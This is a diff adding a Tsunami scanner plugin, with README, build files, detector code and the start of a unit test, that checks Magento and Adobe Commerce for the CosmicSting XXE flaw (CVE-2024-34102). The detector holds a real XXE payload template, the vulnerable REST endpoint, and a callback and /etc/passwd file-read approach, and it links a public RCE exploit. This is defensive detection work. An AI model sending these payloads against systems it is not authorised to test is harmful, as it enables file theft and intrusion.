diff --git a/doyensec/detectors/magento_cosmicsting_xxe/README.md b/doyensec/detectors/magento_cosmicsting_xxe/README.md new file mode 100644 index 000000000..9c6d26bba --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/README.md @@ -0,0 +1,74 @@ +# Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102) + +## Description + +Adobe Commerce and Magento v2.4.7 and earlier are vulnerable to a critical +unauthenticated XXE (XML External Entity) vulnerability that can lead to +arbitrary code execution on unpatched systems. The vulnerability can be +exploited by sending an unauthenticated HTTP request with a crafted XML file +that references external entities; when the request payload is deserialized, the +attacker can extract sensitive files from the system and gain administrative +access to the software. + +### Impact + +The CosmicSting XXE vulnerability by itself can be exploited to perform +Arbitrary File Reads and Server-Side Request Forgeries (SSRF). Effectively, this +allows attackers to leak sensitive information from files in the target system +or from internal network endpoints. For example, an attacker could leak +Magento's configuration files to gain administrative access to the software, or +leak an SSH key to log onto the system itself. + +### Remote Code Execution + +On unpatched systems, Remote Code Execution can be achieved by combining the +CosmicSting XXE vulnerability with the +[PHP iconv RCE](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) (aka +CNEXT). A very reliable public exploit for Magento that leverages both +vulnerabilities and achieves RCE was released by @cfreal, the author of the +iconv research, and can be found +[here](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py). + +### Detector's implementation + +This detector only exploits the XXE vulnerability to perform a simple Arbitrary +File Read (leaking `/etc/passwd`) and a SSRF (calling back to the Tsunami +Callback Server). It was not possible to implement the full RCE exploit due to +the current limitations of the Callback Server. Specifically, the RCE exploit +requires leaking the process memory map and the system's libc binary, in order +to properly calculate the memory addresses needed for the final exploit step. +Even if the Callback Server allows us to check whether a callback was received, +it doesn't allow us to fetch any extra data attached to the request (such as URL +parameters or the POST body), thus it makes it impossible for us to retrieve the +leaked data needed for the full exploit. + +## Affected Versions + +- 2.4.7 and earlier +- 2.4.6-p5 and earlier +- 2.4.5-p7 and earlier +- 2.4.4-p8 and earlier +- 2.4.3-ext-7 and earlier* +- 2.4.2-ext-7 and earlier* + +*These versions are only applicable to customers participating in the Extended +Support Program + +## References + +- [CosmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce + and Magento + (CVE-2024-34102)](https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-adobe-commerce-and-magento-cve-2024-34102) +- [NIST: CVE-2024-34102](https://nvd.nist.gov/vuln/detail/CVE-2024-34102) +- [Adobe Security Bulletin APSB24-40](https://helpx.adobe.com/security/products/magento/apsb24-40.html) +- [CosmicSting CNEXT RCE exploit](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py) + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +The Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/magento_cosmicsting_xxe/build.gradle b/doyensec/detectors/magento_cosmicsting_xxe/build.gradle new file mode 100644 index 000000000..c75cfcbc1 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/build.gradle @@ -0,0 +1,68 @@ +plugins { + id 'java-library' +} + +description = 'Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102)' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13.1' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + guiceVersion = '4.2.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle b/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle new file mode 100644 index 000000000..9ef0beed0 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'magento_cosmicsting_xxe_cve-2024-34102' diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java new file mode 100644 index 000000000..f29c8ed7e --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java @@ -0,0 +1,36 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import javax.inject.Qualifier; + +/** Annotation for {@link MagentoCosmicStingXxe}. */ +final class Annotations { + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @Target({PARAMETER, METHOD, FIELD}) + @interface OobSleepDuration {} + + private Annotations() {} +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java new file mode 100644 index 000000000..c5da92225 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -0,0 +1,456 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.base.Verify.verify; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.NotImplementedException; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import javax.inject.Inject; + +/** A Tsunami plugin that detects the CosmicSting XXE in Adobe Commerce and Magento */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)", + version = "0.1", + description = + "This plugin detects the CosmicSting XXE vulnerability in Magento and Adobe Commerce.", + author = "Savino Sisco (savio@doyensec.com)", + bootstrapModule = MagentoCosmicStingXxeBootstrapModule.class) +public final class MagentoCosmicStingXxe implements VulnDetector { + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; + @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2024-34102"; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_TITLE = + "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)"; + + static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC = + "The scanner detected a Magento or Adobe Commerce instance vulnerable to the CosmicSting XXE" + + " (CVE-2024-34102). The vulnerability can be exploited by sending an unauthenticated" + + " HTTP request with a crafted XML file that references external entities; when the" + + " request payload is deserialized, the attacker can extract sensitive files from the" + + " system and gain administrative access to the software. Remote Code Execution (RCE)" + + " can be accomplished by combining this issue with another vulnerability, such as the" + + " PHP iconv RCE (CVE-2024-2961). An exploit that leverages both vulnerabilities to" + + " achieve RCE on unpatched Magento is publicly available.\n" + + "See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or" + + " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more" + + " information.\n"; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_DESCRIPTION_CALLBACK = + VULNERABILITY_REPORT_DESCRIPTION_BASIC + + "The vulnerability was confirmed via an out of band callback."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING = + VULNERABILITY_REPORT_DESCRIPTION_BASIC + + "The vulnerability was confirmed via response matching only, as the Tsunami Callback" + + " Server was not available."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_RECOMMENDATION = + "Install the latest security patches and rotate your encryption keys. More detailed" + + " instructions can be found in the official Adobe security bulletin:" + + " https://helpx.adobe.com/security/products/magento/apsb24-40.html."; + + static final String DTD_FILE_URL = + "https://raw.githubusercontent.com/google/tsunami-security-scanner-plugins/master/payloads/magento-cosmicsting-xxe/dtd.xml"; + private static final String PAYLOAD_TEMPLATE = + "\n" + + "\n" + + " \n" + + " \n" + + " %sp;\n" + + " %param1;\n" + + "]>\n" + + "&exfil;"; + + @VisibleForTesting + static final String VULNERABLE_ENDPOINT_PATH = + "rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods"; + + @VisibleForTesting + static final String CURRENCY_ENDPOINT_PATH = "rest/default/V1/directory/currency"; + + @VisibleForTesting static final String VERSION_ENDPOINT_PATH = "magento_version"; + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private final Clock utcClock; + private final HttpClient httpClient; + private final PayloadGenerator payloadGenerator; + private final int oobSleepDuration; + private boolean responseMatchingOnly = false; + private String detectedMagentoVersion = null; + + @Inject + MagentoCosmicStingXxe( + @UtcClock Clock utcClock, + HttpClient httpClient, + PayloadGenerator payloadGenerator, + @OobSleepDuration int oobSleepDuration) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + this.payloadGenerator = checkNotNull(payloadGenerator); + this.oobSleepDuration = oobSleepDuration; + } + + // This is the main entry point of VulnDetector. + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("MagentoCosmicStingXxe starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isMagento) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + /* + Check presence of endpoint with always anonymous access: /rest/default/V1/directory/currency + From: https://developer.adobe.com/commerce/webapi/rest/use-rest/anonymous-api-security/ + + Typical response: + HTTP/2 200 OK + { + "base_currency_code": "USD", + "base_currency_symbol": "$", + ... + } + */ + private boolean isMagento(NetworkService networkService) { + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CURRENCY_ENDPOINT_PATH; + + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + + HttpResponse response; + try { + response = this.httpClient.send(req, networkService); + } catch (IOException e) { + return false; + } + + // Check status code 200 + if (response.status() != HttpStatus.OK) { + return false; + } + + // Check if body is JSON + if (response.bodyJson().isEmpty()) { + return false; + } + + JsonElement body = response.bodyJson().get(); + // Check if JSON body is object + if (!body.isJsonObject()) { + return false; + } + + // If the body has a known key, e.g. "base_currency_code", it's Magento + return body.getAsJsonObject().has("base_currency_code"); + } + + /* + Tries to get the Magento version by fetching /magento_version + This endpoint can be manually disabled, so don't stop the plugin if we can't fetch it + */ + private String detectMagentoVersion(NetworkService networkService) { + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VERSION_ENDPOINT_PATH; + logger.atInfo().log("Trying to detect Magento version at '%s'", targetUri); + + HttpRequest req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + + try { + HttpResponse response = this.httpClient.send(req, networkService); + if (response.status() == HttpStatus.OK + && response.bodyString().orElse("").contains("Magento")) { + String version = response.bodyString().get(); + logger.atInfo().log("Detected Magento version: '%s'", version); + return version; + } else { + logger.atInfo().log("Unable to detect Magento version."); + return null; + } + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri); + return null; + } + } + + private String ensureCorrectUrlFormat(String domainOrUrl) { + if (domainOrUrl.startsWith("http://") || domainOrUrl.startsWith("https://")) { + return domainOrUrl; + } else { + return "http://" + domainOrUrl; + } + } + + private String getJsonPayload(String xxePayload) { + /* JSON payload format: + { + "address": { + "totalsReader": { + "collectorList": { + "totalCollector": { + "sourceData": { + "data": payload, + "options": 16 + } + } + } + } + } + } + */ + + // Build the JSON object containing the XXE payload + JsonObject sourceData = new JsonObject(); + sourceData.addProperty("data", xxePayload); + sourceData.addProperty("options", 16); + + JsonObject totalCollector = new JsonObject(); + totalCollector.add("sourceData", sourceData); + + JsonObject collectorList = new JsonObject(); + collectorList.add("totalCollector", totalCollector); + + JsonObject totalsReader = new JsonObject(); + totalsReader.add("collectorList", collectorList); + + JsonObject address = new JsonObject(); + address.add("totalsReader", totalsReader); + + JsonObject jsonPayload = new JsonObject(); + jsonPayload.add("address", address); + + return jsonPayload.toString(); + } + + // Sends the payload and returns True if the response matches the pattern of a vulnerable instance + private boolean sendPayload(NetworkService networkService, String jsonPayload) { + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_ENDPOINT_PATH; + logger.atInfo().log("Sending XXE payload to '%s'", targetUri); + + HttpRequest req = + HttpRequest.post(targetUri) + .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(jsonPayload)) + .build(); + + try { + HttpResponse response = this.httpClient.send(req, networkService); + // Check if the response matches any known values + if (response.status() == HttpStatus.INTERNAL_SERVER_ERROR + && response + .bodyString() + .orElse("") + .startsWith( + "{\"message\":\"Internal Error. Details are available in Magento log file.")) { + logger.atInfo().log( + "HTTP response received with status code 500 (Internal Server Error): the instance" + + " should be vulnerable."); + return true; + } else if (response.status() == HttpStatus.BAD_REQUEST + && response.bodyString().orElse("").equals("{\"message\":\"Invalid data type\"}")) { + logger.atInfo().log( + "HTTP response received with status code 400 (Bad Request): the instance seems to be" + + " patched."); + return false; + } else { + logger.atInfo().log( + "Response does not match any known responses. Status code: %s (%s).", + response.status().code(), response.status().name()); + return false; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri); + return false; + } + } + + // Checks whether a given Magento instance is exposed and vulnerable. + private boolean isServiceVulnerable(NetworkService networkService) { + // Fetch the version of the running Magento instance + this.detectedMagentoVersion = detectMagentoVersion(networkService); + + // Generate the payload for the callback server + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) + .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) + .build(); + + String oobCallbackUrl = ""; + Payload payload = null; + + // Check if the callback server is available, fallback to response matching if not + try { + payload = this.payloadGenerator.generate(config); + // Use callback for RCE confirmation and raise severity on success + if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atWarning().log( + "Tsunami Callback Server not available: detector will use response matching only."); + responseMatchingOnly = true; + } else { + oobCallbackUrl = ensureCorrectUrlFormat(payload.getPayload()); + } + } catch (NotImplementedException e) { + responseMatchingOnly = true; + } + + // Build the XML XXE payload + // Note: when the callback server is not available, oobCallbackUrl will be an empty string. + // This is fine, as in that case we only care about the HTTP response, the contents of the + // payload don't really matter. + String xxePayload = + PAYLOAD_TEMPLATE + .replace("{OOB_CALLBACK}", oobCallbackUrl) + .replace("{DTD_FILE}", DTD_FILE_URL); + + // Wrap the XXE payload in a JSON object + String jsonPayload = getJsonPayload(xxePayload); + + // Send the malicious HTTP request + boolean responseMatchingVulnerable = sendPayload(networkService, jsonPayload); + + // No need to wait for the callback when the callback server is not available + if (responseMatchingOnly) { + if (responseMatchingVulnerable) { + logger.atInfo().log("Vulnerability confirmed via response matching."); + } + return responseMatchingVulnerable; + } + + logger.atInfo().log("Waiting for XXE callback."); + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); + + // payload should never be null here as we should have already returned in that case + verify(payload != null); + if (payload.checkIfExecuted()) { + logger.atInfo().log("Vulnerability confirmed via Callback Server."); + return true; + } else if (responseMatchingVulnerable) { + logger.atWarning().log( + "HTTP response seems vulnerable, but no callback was received. Other mitigations may have" + + " been applied."); + return false; + } else { + logger.atInfo().log( + "Callback not received and response does not match vulnerable instance, instance is not" + + " vulnerable."); + return false; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + // Set the additional details section to the detected Magento version + String additionalDetails; + if (this.detectedMagentoVersion == null) { + additionalDetails = "Could not detect Magento version."; + } else { + additionalDetails = "Magento version: " + detectedMagentoVersion; + } + + // Set description and severity depending on whether the vulnerability was verified via an OOB + // callback or with response matching only + String description; + Severity severity; + if (this.responseMatchingOnly) { + description = VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING; + severity = Severity.HIGH; + } else { + description = VULNERABILITY_REPORT_DESCRIPTION_CALLBACK; + severity = Severity.CRITICAL; + } + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(severity) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(description) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .build(); + } +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java new file mode 100644 index 000000000..ec6545ffe --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java @@ -0,0 +1,40 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import com.google.inject.Provides; +import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; + +/** A Guice module that bootstraps the {@link MagentoCosmicStingXxe}. */ +public final class MagentoCosmicStingXxeBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(MagentoCosmicStingXxe.class); + } + + @Provides + @OobSleepDuration + int provideOobSleepDuration(MagentoCosmicStingXxeConfigs configs) { + if (configs.oobSleepDuration == -1) { + return 10; + } + + return configs.oobSleepDuration; + } +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java new file mode 100644 index 000000000..739e49fba --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java @@ -0,0 +1,24 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import com.google.tsunami.common.config.annotations.ConfigProperties; + +@ConfigProperties("plugins.detectors.magento_cosmicsting_xxe") +final class MagentoCosmicStingXxeConfigs { + int oobSleepDuration = -1; +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java new file mode 100644 index 000000000..880701de6 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java @@ -0,0 +1,297 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.CURRENCY_ENDPOINT_PATH; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VERSION_ENDPOINT_PATH; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_DESCRIPTION_CALLBACK; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_ID; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_PUBLISHER; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_RECOMMENDATION; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_TITLE; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABLE_ENDPOINT_PATH; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link MagentoCosmicStingXxe}. */ +@RunWith(JUnit4.class) +public final class MagentoCosmicStingXxeTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2024-08-28T13:37:00.00Z")); + + @Bind(lazy = true) + @OobSleepDuration + private final int oobSleepDuration = 0; + + @Inject private MagentoCosmicStingXxe detector; + private MockWebServer mockWebServer = new MockWebServer(); + private MockWebServer mockCallbackServer = new MockWebServer(); + + private static final String MOCK_MAGENTO_VERSION = "Magento/2.4 (Mock)"; + private static final String MOCK_CURRENCY_ENDPOINT_RESPONSE = + "{\"base_currency_code\":\"USD\",\"base_currency_symbol\":\"$\",\"default_display_currency_code\":\"USD\",\"default_display_currency_symbol\":\"$\",\"available_currency_codes\":[\"USD\",\"EUR\"],\"exchange_rates\":[{\"currency_to\":\"USD\",\"rate\":1},{\"currency_to\":\"EUR\",\"rate\":0.7067}]}"; + private static final String PATCHED_INSTANCE_RESPONSE = "{\"message\":\"Invalid data type\"}"; + private static final String VULNERABLE_INSTANCE_RESPONSE = + "{\"message\":\"Internal Error. Details are available in Magento log file. Report ID:" + + " webapi-deadbeef1337\"}"; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mockCallbackServer.start(); + } + + @After + public void tearDown() throws Exception { + mockCallbackServer.shutdown(); + mockWebServer.shutdown(); + } + + private void createInjector(boolean tcsAvailable) { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder() + .setCallbackServer(tcsAvailable ? mockCallbackServer : null) + .build(), + Modules.override(new MagentoCosmicStingXxeBootstrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability() + throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + 